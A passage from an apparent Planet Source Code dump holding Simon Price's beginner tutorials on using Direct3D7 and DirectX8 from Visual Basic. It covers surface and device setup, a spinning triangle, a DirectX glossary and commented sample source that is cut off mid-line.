need.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim D3D As Direct3D7</pre>\n</div>\n<ul>\n <li>\n Direct3DDevice7 - this is the rendering device. You\n use it to control the states and parameters of Direct3D, and to send drawing\n commands to draw (usually) triangles.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim D3Ddevice As Direct3DDevice7</pre>\n</div>\n<ul>\n <li>\n RECT - this describes a rectangle, and DirectDraw\n uses it to copy rectangular pieces of pictures around. Here we need two,\n they are just cached for regular use in the program.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim SrcRect As RECT</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Dim DestRect As RECT</pre>\n</div>\n<ul>\n <li>\n D3DRECT - this is similar to the RECT type used with\n DirectDraw. We will use it in clearing operations. You will always need to\n declare it as an array, even if you only need one of them.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Viewport(0) As D3DRECT</pre>\n</div>\n<div align=\"left\">\n <ul>\n <li>\n DDSURFACEDESC2 - this describes a DirectDrawSurface,\n so we can ask DirectDraw to create a surface with the properties we need.</li>\n </ul>\n <div align=\"left\">\n <pre align=\"left\">Dim SurfDesc as DDSURFACEDESC2</pre>\n </div>\n</div>\n<ul>\n <li>\n D3DVIEWPORT7 - this describes the way in which\n Direct3D transforms a 3D scene to represent it on a 2D surface.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim VPdesc As D3DVIEWPORT7</pre>\n</div>\n<ul>\n <li>\n D3DVERTEX - this type holds all the information we need to\n create a vertex. We are going to create a triangle so we need an array\n of 3.\n </li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim Vertex(0 to 2) as D3DVERTEX</pre>\n</div>\n<ul>\n <li>\n D3DMATRIX - this holds 16 values which are used for\n any and every translation in 3D. With a matrix, you can translate, rotate\n and scale. We will need four in this tutorial, the world, view, projection\n and spin matrices.</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Dim matWorld As D3DMATRIX\nDim matView As D3DMATRIX\nDim matProj As D3DMATRIX\nDim matSpin As D3DMATRIX</pre>\n</div>\n You will also need to declare two other variables:\n<div align=\"left\">\n <pre align=\"left\">' this tells the program when to end\nDim EndNow As Boolean\n' this is used to rotate the triangle\nDim Counter As Long\n</pre>\n</div>\n<h3 align=\"left\"><a name=\"imitate\">Initiation of DirectDraw and Direct3D</a></h3>\nNow we have declared all the objects we need, we need to call\nsome of their methods to make them do something. We will also use the variables\nto send information to DirectX. Since Direct3D is built upon DirectDraw, we will\nneed to initialize the DirectDraw objects before Direct3D.\n<h4 align=\"left\">The DirectDrawInit Function</h4>\nWe will create a function that creates the DirectDraw object,\nsets the cooperative level, sets up the primary and backbuffer surfaces for\nour graphics functions to work on, and finally creates a clipper to restrict\ndrawing to just the application window. Note then when we create the backbuffer\nsurface, we pass the DDSCAPS_3DDEVICE flag to tell DirectDraw that we are going\nto use it as a 3D rendering target.\n<div align=\"left\">\n <pre align=\"left\">Function DirectDrawInit() As Long\n' create the directdraw object\nSet DDRAW = DX.DirectDrawCreate("")\n' set the cooperative level, we only need normal\nDDRAW.SetCooperativeLevel hWnd, DDSCL_NORMAL\n' set the properties of the primary surface\nSurfDesc.lFlags = DDSD_CAPS\nSurfDesc.ddsCaps.lCaps = DDSCAPS_PRIMARYSURFACE\n' create the primary surface\nSet Primary = DDRAW.CreateSurface(SurfDesc)\n' set up the backbuffer surface (which will be where we render the 3D view)\nSurfDesc.lFlags = DDSD_HEIGHT Or DDSD_WIDTH Or DDSD_CAPS\nSurfDesc.ddsCaps.lCaps = DDSCAPS_OFFSCREENPLAIN Or DDSCAPS_3DDEVICE\n' use the size of the form to determine the size of the render target\n' and viewport rectangle\nDX.GetWindowRect hWnd, DestRect\n' set the dimensions of the surface description\nSurfDesc.lWidth = DestRect.Right - DestRect.Left\nSurfDesc.lHeight = DestRect.Bottom - DestRect.Top\n' create the backbuffer surface\nSet Backbuffer = DDRAW.CreateSurface(SurfDesc)\n' cache the size of the render target for later use\nWith SrcRect\n .Left = 0: .Top = 0\n .Bottom = SurfDesc.lHeight\n .Right = SurfDesc.lWidth\nEnd With\n' create a DirectDrawClipper and attach it to the primary surface.\nSet Clipper = DDRAW.CreateClipper(0)\nClipper.SetHWnd hWnd\nPrimary.SetClipper Clipper\n' report any errors\nDirectDrawInit = Err.Number\nEnd Function\n</pre>\n</div>\n <h4 align=\"left\">The Direct3DInit Function</h4>\n Now we need to initialize all our Direct3D objects. In this\n function, we need to create Direct3D, a rendering device (something that does\n the drawing for us), a material (defines the appearance of polygons), and\n several matrices. The rendering device can be some hardware device like a 3D\n accelerator card, or software emulation. For this tutorial, we will use\n software emulation for simplicity. The matrices are :\n<ul>\n <li>\n The world matrix - all objects in world space are\n transformed by this matrix</li>\n <li>\n The view matrix - sets the position of the camera</li>\n <li>\n The projection matrix - defines how Direct3D projects the 3D\n scene onto the 2D surface</li>\n</ul>\n<div align=\"left\">\n <pre align=\"left\">Function Direct3DInit() As Long\n' create the direct3d object\nSet D3D = DDRAW.GetDirect3D\n' create the rendering device - we are using software emulation only\nSet D3Ddevice = D3D.CreateDevice("IID_IDirect3DRGBDevice", Backbuffer)\n' set the viewport rectangle.\nVPdesc.lWidth = DestRect.Right - DestRect.Left\nVPdesc.lHeight = DestRect.Bottom - DestRect.Top\nVPdesc.minz = 0\nVPdesc.maxz = 1\nD3Ddevice.SetViewport VPdesc\n' cache the viewport rectangle for later use\nWith Viewport(0)\n .X1 = 0: .Y1 = 0\n .X2 = VPdesc.lWidth\n .Y2 = VPdesc.lHeight\nEnd With\n \n' enable ambient lighting\nD3Ddevice.SetRenderState D3DRENDERSTATE_AMBIENT, DX.CreateColorRGBA(1, 1, 1, 1)\n' disable culling\nD3Ddevice.SetRenderState D3DRENDERSTATE_CULLMODE, D3DCULL_NONE\n' set the material to a red color\nMaterial.Ambient.r = 1\nMaterial.Ambient.g = 0\nMaterial.Ambient.b = 0\nD3Ddevice.SetMaterial Material\n' the world matrix - all polygons in world space are transformed by this matrix\nDX.IdentityMatrix matWorld\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_WORLD, matWorld\n' the view matrix - basically the camera position is at -3\n' (although it's really just making the whole world at +3)\nDX.IdentityMatrix matView\nDX.ViewMatrix matView, MakeVector(0, 0, -3), MakeVector(0, 0, 0), MakeVector(0, 1, 0), 0\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_VIEW, matView\n' the projection matrix - decides how the 3D scene is projected onto the 2D surface\nDX.IdentityMatrix matProj\nDX.ProjectionMatrix matProj, 1, 1000, 3.14 / 2\nD3Ddevice.SetTransform D3DTRANSFORMSTATE_PROJECTION, matProj\n' report errors\nDirect3DInit = Err.Number\nEnd Function\n</pre>\n</div>\n<h4 align=\"left\">The MakeVector Function</h4>\nIf you're still alert and haven't become totally confused yet,\nyou will be saying "hey Simon, you called a MakeVector function - what's\nthat all about? The MakeVector function is very similar to the\nDX.CreateD3DVertex (see later) function - it just saves us alot of typing by\ncopying values into the D3DVECTOR type. So we need to create the MakeVector\nfunction for the Direct3DInit function to work.\n<div align=\"left\">\n <pre align=\"left\">Function MakeVector(x As Single, y As Single, z As Single) As D3DVECTOR\n' copy x, y and z into the return value\nWith MakeVector\n .x = x\n .y = y\n .z = z\nEnd With\nEnd Function</pre>\n</div>\n<h3 align=\"left\">Creating The Scene</h3>\nWe need to supply triangles for Direct3D to render. Therefore we\nshould declare some vertices to make the triangle from. For simplicity, we will\nrender just one triangle which means we need only 3 vertices (one for each\ncorner). We could fill in the data separately for each field of the type\nD3DVERTEX, but it's much shorter to use a function of the DirectX object that\ndoes this for you in one line of code.\n<h4 align=\"left\">The CreateTriangle Sub</h4>\nThis procedure takes the already declare vertices and forms them\ninto a triangle shape. In a D3DVERTEX, there are three pieces of data - the\nposition (x,y,z), the normal (nx,ny,nz) and the texture coordinates (tu,tv). We\nonly need to use the position in this tutorial. The normal of a triangle is\nconcerned with lighting, which we aren't using. The texture coordinates are for,\nwell, textures - which we aren't using either.\n<div align=\"left\">\n <pre align=\"left\">Sub CreateTriangle()\n' fill in the vertex positions - we don't need to worry about the normals\n' or texture coordinates for this tutorial\nDX.CreateD3DVertex -1, 0, 0, 0, 0, 0, 0, 0, Vertex(0)\nDX.CreateD3DVertex 0, 2, 0, 0, 0, 0, 0, 0, Vertex(1)\nDX.CreateD3DVertex 1, 0, 0, 0, 0, 0, 0, 0, Vertex(2)\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">The Main Program Loop</h3>\nOK that's enough loading and initializing to last me a lifetime!\nBut once you've learnt it, it will get easier and you can always reuse your\ncode. Now we move onto the main program loop. This is a loop where we clear the\nbackbuffer, draw the polygon, copy the backbuffer to the screen and then move\nthe polygon before we draw the next frame. Don't be surprised if this loop runs\nat over 100 frames per second - after all, it's just one polygon. In a real\nworld application, you may want to render thousands per frame. On with the show:\n<div align=\"left\">\n <pre align=\"left\">Sub MainLoop()\nDo While EndNow = False\n ' increase the counter\n Counter = Counter + 1\n \n ' clear the viewport with a green color\n D3Ddevice.Clear 1, Viewport(), D3DCLEAR_TARGET, vbGreen, 0, 0\n ' begin the scene, render the triangle, then end the scene\n D3Ddevice.BeginScene\n D3Ddevice.DrawPrimitive D3DPT_TRIANGLELIST, D3DFVF_VERTEX, Vertex(0), 3, D3DDP_DEFAULT\n D3Ddevice.EndScene\n \n ' rotate the matrix\n DX.RotateYMatrix matSpin, Counter / 360\n ' set the new world transform matrix\n D3Ddevice.SetTransform D3DTRANSFORMSTATE_WORLD, matSpin\n \n ' copy the backbuffer to the screen\n DX.GetWindowRect hWnd, DestRect\n Primary.Blt DestRect, Backbuffer, SrcRect, DDBLT_WAIT\n \n ' look for window messages - we need to know when the escape key is pressed\n DoEvents\nLoop\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">Getting It Together</h3>\nIf you run your program now, nowt will happen at all. This is\nbecause you have created a load of procedures but you haven't called them from\nanywhere. This is when you will need to put some code into the Form_Load event,\nto do initiation and then the main loop. We will check the return values of the\ninitiation functions, and if they report errors we will end the program.\n<h4 align=\"left\">The Form_Load Event</h4>\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_Load()\n' show the form\nShow\n' call the DirectDrawInit function and exit if it fails\nIf DirectDrawInit() <> DD_OK Then Unload Me\n' call the Direct3DInit function and exit if it fails\nIf Direct3DInit() <> DD_OK Then Unload Me\n' create the triangle\nCreateTriangle\n' call the main rendering loop\nMainLoop\n' end the program\nUnload Me\nEnd Sub</pre>\n</div>\n<h4 align=\"left\">The Form_Unload and Form_KeyDown Events</h4>\nThere is one more thing to do - end the program! The main loop\nis exited if the EndNow variable is set to true - so that's all we need to do.\nWe can also end the program if the escape key is pressed, by putting the same\ncode in the Form_KeyDown event.\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_Unload(Cancel As Integer)\nEndNow = True\nEnd Sub\n</pre>\n</div>\n<div align=\"left\">\n <pre align=\"left\">Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n' end program if escape is pressed\nIf KeyCode = vbKeyEscape Then EndNow = True\nEnd Sub\n</pre>\n</div>\n<h3 align=\"left\">Run The Program</h3>\nRun the program. If you've typed it correctly (or just used my\nexample code), you will see the form has a spinning triangle painted on it. You\ncan even resize the form and the picture will resize to the form size. When you\nclose the form or press escape, the program ends.\n<h3><a name=\"practice\">Summary</a></h3>\nIn this tutorial, we have :\n<ul>\n <li>Learnt how to set up DirectDraw surfaces for Direct3D.</li>\n <li>Set up Direct3D, telling it to render on a DirectDraw surface</li>\n <li>Create a very basic geometric shape</li>\n <li>Render a triangle and change the world matrix to move spin the world</li>\n</ul>\nThere are many bad points to the program you have created, although I have\nmade the program in this way to make it as simple as possible.\n<ul>\n <li>All the variables were global - in my opinion you should restrict access\n to each variable as much as possible. I made them all global for this\n tutorial so I could explain each one at the beginning</li>\n <li>Very little error handling was done. In a real application, we would find\n the cause of the error, attempt to fix it, and if that's not possible we\n would tell the user why, rather than ending immediately.</li>\n <li>We used software rendering only. What we should do is find out what sort\n of hardware the user has, and make our program adapt to either make maximum\n use of the hardware, or fall back onto just software if no hardware is\n available.</li>\n <li>And I'm sure the critics amongst you will think of more.</li>\n</ul>\n<h3><a name=\"bingo\">Exercises</a></h3>\nYou can only learn something if you actually practice doing it. So here I\nhave some features which you can add to the program yourself. Come on, be a\nlittle creative and start making your own 3D graphics!\n<ul>\n <li>That triangle is boring! It's even looks 2D! Use more vertices to make\n another shape - a cube, a pyramid, a sphere if you're smart enough -\n whatever you like!</li>\n <li>Make a frame counter, so that you know how fast the program is running. I\n bet it goes at over 100 FPS!</li>\n <li>Change the colors to something you like.</li>\n <li>Explore more Direct3D functions, meddle with the code, make it your\n program. I don't want here any complaints that this tutorial was boring -\n it's up to you to make it interesting!</li>\n</ul>\nI hope I've set you along the exciting journey towards creating Direct3D\ngraphics from Visual Basic. This tutorial has taken me ALOT of time and\neffort - I had to write code, make comments, write a tutorial, get it as\naccurate as possible. I would appreciate in return:\n<ul>\n <li>Please vote for me - Whether you think this tutorial was\n good or bad, I want to know about it.</li>\n <li>Please give me some feedback - Tell me why you voted the\n score that you did.</li>\n <li>Please visit my website - If you liked this then you'll want\n to visit my website to see more of my programs and tutorials. The URL is <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\n </li>\n <li>Please give me $30000 to write a book - OK only joking.</li>\n</ul>\nTutorial by Simon Price, you can email me at <a href=\"mailto:Si@VBgames.co.uk\">Si@VBgames.co.uk</a>\n\n<a href=\"#lesson\">Back To Top</a>\n"},{"WorldId":1,"id":12816,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12974,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13410,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14218,"LineNumber":1,"line":"<h1 align=\"center\">An Introduction To DirectX8</h1>\n<h3 align=\"center\">By <a href=\"mailto:Si@VBgames.co.uk\">Simon Price</a></h3>\nVisit <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\nfor more!\n<h4>What you will learn</h4>\n<ul>\n <li>How to use the DirectX libraries from Visual Basic</li>\n <li>How to get input from the most commonly used devices - keyboard and mouse\n - using DirectInput</li>\n <li>How to load and play a wave file using DirectSound</li>\n <li>How to create a rendering device with Direct3D</li>\n <li>How to use the D3DX helper functions</li>\n <li>How to use vertex and index buffers to create simple geometry</li>\n <li>How to use view and projection matrices to set up a camera</li>\n <li>How to use world matrices to make animation and reuse the same geometry</li>\n <li>How to load textures from a bitmap file</li>\n <li>How to unload all of this safely</li>\n</ul>\n<h4>How you will learn it</h4>\n<ul>\n <li>Overview of DirectX8</li>\n <li>Explanation of DirectX terms</li>\n <li>Explanation of sample program</li>\n <li>Full working demo program to <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">download</a>\n with source code and comments</li>\n <li>Evaluation of what has been learnt</li>\n <li>Exercises to extend your knowledge</li>\n <li>Thoughts for future tutorials</li>\n</ul>\n<h4>Boring Intro</h4>\nBack by popular demand is my DirectX tutorial series! Although I'm sort of starting\nagain for DirectX 8. So for complete newbies, this tutorial is great, and for\nthose who already know some DX7 or DX8, the tutorial includes some more complex\nstuff than previous tutorials. In DirectX 8, the API has become simpler in\nthe initialization of objects and it also has many more maths functions to help\nyou. But it's still alot of work to do by yourself, so that's why you should\nhelp spread the word by making free source demos and tutorials. At this point I acknowledge\nRichard Hayden for his free source Direct3D8 world, it is a great example of\nwhat I am talking about and helped me begin to learn the new API. Enough of the\nchit chat...\n<h4>Before you begin</h4>\nIf you don't already have DirectX 8 and the DirectX 8 Type Libraries for\nVisual Basic then you've got some downloading to do! Sorry, but it is worth it.\nYou don't need all the SDK documentation, although I recommend getting it, and\nyou don't need the C++ SDK if you are a VB'er only, so your download might not\nbe as big as mine was. I managed to download 135 MB though my cheap 56 K phone\nline though, and that was the full download including everything. So it is\npossible, but you will need to get a program such as <a href=\"http://www.getright.com\">GetRight</a>\nto help you download such a big file. All developer information and downloads\ncan be found at <a href=\"http://www.microsoft.com/directx\">www.microsoft.com/directx</a>\n. Once DirectX 8 is installed, and you have the DX VB Type Libs, read on.\n<h4>Adding a reference to your project</h4>\nEvery time you start a new project that will use DirectX, you will need to do\nthe following:\n<ul>\n <li>Click the Project menu</li>\n <li>Choose the References... submenu and the References dialog will pop up</li>\n <li>Scroll down the list of references until you find the "DirectX 8 Type\n Library for Visual Basic" and check the box next to it</li>\n <li>Click OK</li>\n</ul>\nNow VB will know every class, type and enumeration that DirectX 8 contains,\nso you're ready to begin coding!\n<h4>DirectX and 3D terminology</h4>\nThis is the part which gets most people. I wish I had someone to explain all\nthe jargon to me when I was learning. After the language barrier, things get a\nbit easier. Here's some terms you need to know. If you already know a bit about\nDirectX, you should probably skip this whole section and only come back to it\nwhen you see a word you don't understand. It is not in alphabetical order,\nrather it is in logical order so that you can read the whole thing if you're new\nand you want to. As you can see, there is alot of it, and this is only the basics.\n<ul>\n <li>DirectX, DirectAudio (DirectSound, DirectMusic), DirectGraphics\n (Direct3D, DirectDraw), DirectPlay, DirectSetup - These are all part of\n the DirectX API. They are the main objects which deal with different jobs\n e.g DirectAudio takes care of all audio input and output, and it contains\n DirectSound and DirectMusic</li>\n <li>API - What does that stand for again? I think it was Advanced\n Programming Interface (correct me please if I'm wrong). At least I know what\n it means. It's the bunch of objects that give you a higher level view of a\n task, so you don't need to think about writing low level code anymore\n because people have already made functions to do that for you.</li>\n <li>Variable - If you don't know what a variable is, go away and learn\n something simpler.</li>\n <li>Type - I hope you know this too. It's several variables group\n together, in C++ it's a structure.</li>\n <li>Class - This is code that describes an object (see below).</li>\n <li>Object - An object can contain variables like a type, but it also\n can have functions that can be called from code elsewhere. An object is\n created from a class.</li>\n <li>Instance - When an object is created from a class, it is said to be\n an instance of the object. Note there can be many instances of an object\n created from the same class.</li>\n <li>Library - A whole group of objects are often grouped together into\n one file, usually a DLL (Dynamic Link Library). DirectX is made of DLL's.</li>\n <li>Pointer - This is a variable that stores a memory address. In VB,\n your don't use pointers directly, but if you use a object without creating a\n new instance of the object, you are basically using a pointer to another\n object.</li>\n <li>Buffer - A word given to a chunk of memory which has been assigned\n a job, usually to temporarily store data which is moved around alot. There\n are several types of buffer in DirectX.</li>\n <li>Backbuffer, Frontbuffer, Surface, Texture - These are used to store\n graphics. The only visible graphics buffer is the front buffer. In DirectX\n 8, you never need to worry about this, just know what it is (erm, like, it's\n what you see on the screen). A back buffer is where graphics go just before\n the front buffer. You draw on the back buffer, and when your super duper\n graphics are finished, you ask DirectX to move it to the front buffer. A\n surface is just like a back buffer, it stores pictures, but it is more\n general since it has nothing to do with a front buffer. A texture is a\n surface used for texture mapping polygons (see later), and is usually of dimensions\n that are square, a power of 2, typically 256 x 256.</li>\n <li>Copy, VSync, Blt, Flip, Discard - These are methods of copying from\n one surface to another. Copying involves copying every single bit from on\n surface to another. Flipping involves moving a pointer to s surface so that\n the front buffer and back buffer surfaces switch roles (their pointers are\n swapped) making for a very quick appearance of a new image. VSync means synchronizing\n the copying or flipping of surfaces with the vertical refresh of the monitor\n so that you can't see the graphics flicker. If you discard your surface when\n you flip, it is a faster, but the contents of the back buffer are not\n guaranteed to be still the same as before the flip.</li>\n <li>Z buffer - A piece of memory that store the z positions of objects\n drawn onto a surface.</li>\n <li>Sound buffers (primary and secondary) - A sound buffer stores a\n sound. A primary sound buffer can be heard out of the speakers, with DirectX\n you can ignore it because it is managed for you. A secondary sound buffer is\n where sounds can be stored before being mixed and sent to the primary\n buffer.</li>\n <li>Mixing - The process of creating just one sound from several source\n sounds.</li>\n <li>Static and streaming - A static buffer stores just a whole sound\n and just sits there. A streaming buffer stores only part of the sound and\n constantly is moving in the next part of the sound and and moving out the\n already played sound. A static buffer is more CPU efficient and a streaming\n buffer is more memory efficient.</li>\n <li>Input device - This is commonly a mouse or a keyboard, but can also\n be a joy pad or a steering wheel etc.</li>\n <li>Device state - The state of the input device depends on what\n buttons/rollers/wheels are being pressed/moved etc. For example, the state\n of the keyboard is that the "X" key is down.</li>\n <li>Rendering device - This is something that draws graphics, it can be\n a hardware graphics card or a software emulation device.</li>\n <li>Hardware and software emulation - Hardware is a physical unit on\n your computer and is usually very fast at doing it's job. Software emulation\n can do the same job as hardware, but at a slower rate and using up memory.</li>\n <li>System and video memory - System memory is the main memory where everything\n else is stored - programs, Windows, anything and everything scattered\n everywhere so it can be slow. Video memory is separately used for hardware\n to store pictures and is usually alot faster. It can be a slow operation to\n copy between these two types of memory.</li>\n <li>Polygon, Primitive - Polygons are a general term for shapes that\n can be made with a number of straight edged sides and are used in 3D store\n create shapes. In Direct3D, a primitive is usually a point, a line or a\n triangle.</li>\n <li>Material - A polygon appears to be made of a material, in DirectX,\n a material has several colors to describe it's appearance.</li>\n <li>Texture mapping - When a polygon has a picture put onto it it is\n said that the polygon has been texture mapped.</li>\n <li>Texture management - Textures must be ordered and and moved around\n so that the right textures are available when they are need. DirectX by\n default can do this for you.</li>\n <li>Vector - A 3 dimensional value, having x, y and z components.</li>\n <li>Vertex - A primitive is made up of vertices (plural of vertex)\n where edges end or meet. They can be just the same as vectors, or they can\n have additional components such as color, direction (or normal), or texture\n coordinates.</li>\n <li>Plane - A flat shape that goes on forever and splits space into 2.\n For example, the ground is a horizontal plane.</li>\n <li>Normal - A normal to a plane or vertex or primitive is a vector\n that describes where it is facing. Has a similar meaning as perpendicular or\n orthogonal. </li>\n <li>Transformation - A formula that changes a vector to another\n position.</li>\n <li>Matrix - Matrices (plural of matrix) describes any transformation\n by storing 16 numbers.</li>\n <li>Translation, rotation, scaling - These are types of\n transformations. A translation is a movement in the x, y or z direction (or\n 2 or all 3 directions), a rotation spins the vector around an origin,\n scaling resizes the vector around a origin.</li>\n <li>Origin - A point or vector that is the center of something.</li>\n <li>World, View and Projection - The world transformation affects every\n vector in the world, moving it moves everything. The view transformation\n makes the camera or eye on the scene appear to be in the right place, and\n the projection transformation describes how the 3D scene is conveyed onto\n the 2D picture produced from it.</li>\n <li>Culling - When a polygon is not facing the camera, the process of\n culling ensures it is not drawn.</li>\n <li>Z buffering and Z sorting - This process makes sure that when a\n object is obscured by another, it cannot be seen.</li>\n <li>More... I've missed out loads so if you still don't understand a\n word then just ask.</li>\n</ul>\n<h4>The sample program</h4>\nYou can download the sample program from <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">here</a>.\nYou will need a program like <a href=\"http://www.winzip.com\">Winzip</a> to\ndecompress it. It is written in Visual Basic 6, if you have another version of\nVB then there is information on <a href=\"http://www.planet-source-code.com/vb\">www.planet-source-code.com/vb</a>\nas to how to try to open the version 6 files.\nThe sample program uses hardware accelerated rasterization. If your computer does not have this, the request\nwill fail, so use D3DDEVTYPE_REF instead of D3DDEVTYPE_HAL if this happens. A real\nprogram would be able to detect an error and automatically switch device. It also requests software vertex processing, which means the CPU has to\ntransform and light geometry, but if you have a good graphics card, you might be\nable to use hardware vertex processing. \nThe sample program assumes your computer can render in 16 bit (R5G6B5) color\nformat, in 640 x 480 resolution. If this is not the case, it may fail but you\ncan change those values in the source code.\nThe sample program renders the same texture mapped 3D cube in different\npositions. It uses the same cube but it makes it appear that there are 3, each\nof different sizes, and they are all spinning and rotating around everywhere.\nThe camera can be zoomed in and out using the mouse and the program can be\nexited using the escape key. The program plays a sound every time the animation\nloop restarts. It attempts to show all the basic features of DirectX 8 simply.\nIt is not optimized so as to keep it as simple to understand as possible.\nThe main point to note is the that the animation is achieved by moving the\nworld transformation. Every single line is commented, an there are lengthy\nexplanations of each main function. Here is the full source code and comment to\nview, but you can also <a href=\"http://www.VBgames.co.uk/tutorials/dx8intro.zip\">download</a>\nit.\n---***---SOURCE CODE STARTS HERE---***---\n'----------------------------------------------------------------- \n' \n' DX8 INTRODUCTION - DIRECTGRAPHICS,DIRECTSOUND, DIRECTINPUT \n' \n' BY SIMON PRICE \n' \n'----------------------------------------------------------------- \n \n' For this tutorial program you will need the DirectX8 for Visual \n' Basic Type Library, from www.microsoft.com/directx \n \n' You should also have the tutorial in HTML format, if you don't \n' you can download it from my website www.VBgames.co.uk \n \n' Any questions go to ihaveaquestionforsimonaboutdx8@VBgames.co.uk, \n' or you could use a shorter address :) (si@VBgames.co.uk will do) \n' Any bug reports go to the same address too please, as do comments \n' feedback, suggestions, erm whatever you feel like \n \n' Every time you start a project which will use DirectX8, you need \n' to click on the menu Project -> References and a dialog box will \n' pop up. Check the box which says \"DirectX8 for Visual Basic Type \n' Library\" and click OK. Now VB will know all the types, classes \n' enumerations and functions of DirectX8. \n \nOption Explicit \n \n' GLOBAL VARIABLE DECLARATIONS \n \n' No matter what you do with DirectX8, you will need to start with \n' the DirectX8 object. You will need to create a new instance of \n' the object, using the New keyword, rather than just getting a \n' pointer to it, since there's nowhere to get a pointer from yet (duh!). \n \nDim DX As New DirectX8 \n \n' The DirectInput8 object is used to get data from input devices \n' such as the mouse and keyboard. This is what we will use it for \n' in this tutorial, since they are the most common input devices. \n' Notice how we don't create a new instance of the object, rather \n' DirectX does that for us and we just get a pointer to it. \n \nDim DI As DirectInput8 \n \n' Now we need 2 devices - keyboard and mouse... \n \nDim Keyboard As DirectInputDevice8 \nDim Mouse As DirectInputDevice8 \n \n' ...and a structure (type) to hold the data from each device. DI \n' provides us a custom keyboard and mouse type, since they are \n' commonly used \n \nDim KeyboardState As DIKEYBOARDSTATE \nDim MouseState As DIMOUSESTATE \n \n' Next, we have DirectSound8, this can be used for many things, but \n' for now we just play a sound from a .wav file \n \nDim DS As DirectSound8 \n \n' A sound buffer is a piece of memory in which the sound is stored. \n' We use a secondary buffer, because a primary buffer can actually \n' be heard though the speakers, and the sound needs to be mixed \n' before we allow the user to hear that. In this tutorial, we let \n' DirectSound worry about mixing and copying to the primary buffer \n' to play the sound for us \n \nDim Sound As DirectSoundSecondaryBuffer8 \n \n' The DSBUFFER type holds a description of a sound buffer. We won't \n' use any of the more advanced flags in this tutorial \n \nDim SoundDesc As DSBUFFERDESC \n \n' The Direct3D8 object is responsible for all graphics, yes, even 2D \n \nDim D3D As Direct3D8 \n \n' The D3DX8 object contains lots of helper functions, mostly math \n' to make Direct3D alot easier to use. Notice we create a new \n' instance of the object using the New keyword. \n \nDim D3DX As New D3DX8 \n \n' The Direct3DDevice8 represents our rendering device, which could \n' be a hardware or a software device. The great thing is we still \n' use the same object no matter what it is \n \nDim D3Ddevice As Direct3DDevice8 \n \n' The D3DPRESENT_PARAMETERS type holds a description of the way \n' in which DirectX will display it's rendering \n \nDim D3Dpp As D3DPRESENT_PARAMETERS \n \n' The D3DMATERIAL8 type stores information on the material our \n' polygons are rendered with, such as color \n \nDim Material As D3DMATERIAL8 \n \n' The Direct3DTexture8 object represents a piece of memory used to \n' store a texture to be mapped onto our polygons \n \nDim Texture As Direct3DTexture8 \n \n' The Direct3DVertexBuffer8 object stores an array of vertices from which \n' our polygons are made \n \nDim VertexBuffer As Direct3DVertexBuffer8 \n \n' The D3DVERTEX type stores vertices temporarily before we copy \n' them into the vertex buffer \n \nDim Vertex(1 To 24) As D3DVERTEX \n \n' The Direct3DIndexBuffer8 object stores the order in which our \n' vertices are rendered \n \nDim IndexBuffer As Direct3DIndexBuffer8 \n \n' These integers are used to temporarily store indices before they \n' are copied into the index buffer \n \nDim Index(1 To 36) As Integer \n \n' This stores the rotation of the cubes \n \nDim Rotation As Single \n \n \n \n \n \n \n' FORM_LOAD \n \n' The whole program is started and controlled from here \n \nPrivate Sub Form_Load() \n On Error Resume Next \n ' initialize directx \n If Init = False Then \n ' display error message \n MsgBox \"Error! Could not initialize DirectX!\" \n Else \n ' show form \n Show \n ' do main program loop \n MainLoop \n End If \n ' unload form and clean up directx \n Unload Me \nEnd Sub \n \n \n' FORM_UNLOAD \n \n' Before the program ends, call the cleanup function \n \nPrivate Sub Form_Unload(Cancel As Integer) \n CleanUp \nEnd Sub \n \n \n \n \n \n' INITIALIZATION \n \n' In this function we initialize all the global DirectX objects. We \n' basically get the DirectInput, DirectSound, and DirectGraphics \n' engines started up, and retrieve pointers so we can manipulate them \n \nFunction Init() As Boolean \n \n 'On Error GoTo InitFailed \n \n ' DIRECTINPUT \n \n ' Get a pointer to DirectInput \n Set DI = DX.DirectInputCreate() \n ' Check to see if the pointer is valid \n If DI Is Nothing Then GoTo InitFailed \n \n ' Get a pointer to keyboard and mouse device objects \n Set Keyboard = DI.CreateDevice(\"GUID_SysKeyboard\") \n Set Mouse = DI.CreateDevice(\"guid_SysMouse\") \n ' Check to see if pointers are valid \n If Keyboard Is Nothing Then GoTo InitFailed \n If Mouse Is Nothing Then GoTo InitFailed \n \n ' Set the data formats to the commmonly used keyboard and mouse \n Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD \n Mouse.SetCommonDataFormat DIFORMAT_MOUSE \n \n ' Set cooperative level, this tells DI how much control we need \n Keyboard.SetCooperativeLevel hWnd, DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND \n Mouse.SetCooperativeLevel hWnd, DISCL_NONEXCLUSIVE Or DISCL_BACKGROUND \n \n ' Now we are ready to aquire (erm, get) our input devices \n Keyboard.Acquire \n Mouse.Acquire \n \n ' DIRECTSOUND \n \n ' Get a pointer to DirectSound \n Set DS = DX.DirectSoundCreate(\"\") \n ' Check the pointer is valid \n If DS Is Nothing Then GoTo InitFailed \n \n ' Set cooperative level, we only need normal functionality \n DS.SetCooperativeLevel hWnd, DSSCL_NORMAL \n \n ' Create a sound buffer from a .wav file. We provide a filename \n ' and a DSBUFFER type, which stores any special information \n ' about the buffer we might need to know (not used here) \n Set Sound = DS.CreateSoundBufferFromFile(App.Path & \"\\sound.wav\", 